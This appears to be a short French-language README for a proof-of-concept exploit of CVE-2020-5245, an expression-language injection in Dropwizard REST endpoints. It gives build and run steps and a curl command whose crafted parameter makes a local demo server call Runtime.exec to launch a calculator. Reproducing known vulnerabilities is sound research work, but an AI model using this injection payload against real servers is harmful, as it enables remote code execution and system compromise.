lycshub/cve-2020-5245Exploit de preuve de concept pour CVE-2020-5245, démontrant une injection d'expression de langage dans les points de terminaison REST Dropwizard via des paramètres HTTP conçus.
mvn clean install pour construire votre applicationjava -jar target/dropwizard-1.0-SNAPSHOT.jar server config.ymlhttp://localhost:8080Certaines erreurs dans les plugins de pom.xml n'ont pas été affectées. Reproduire
curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}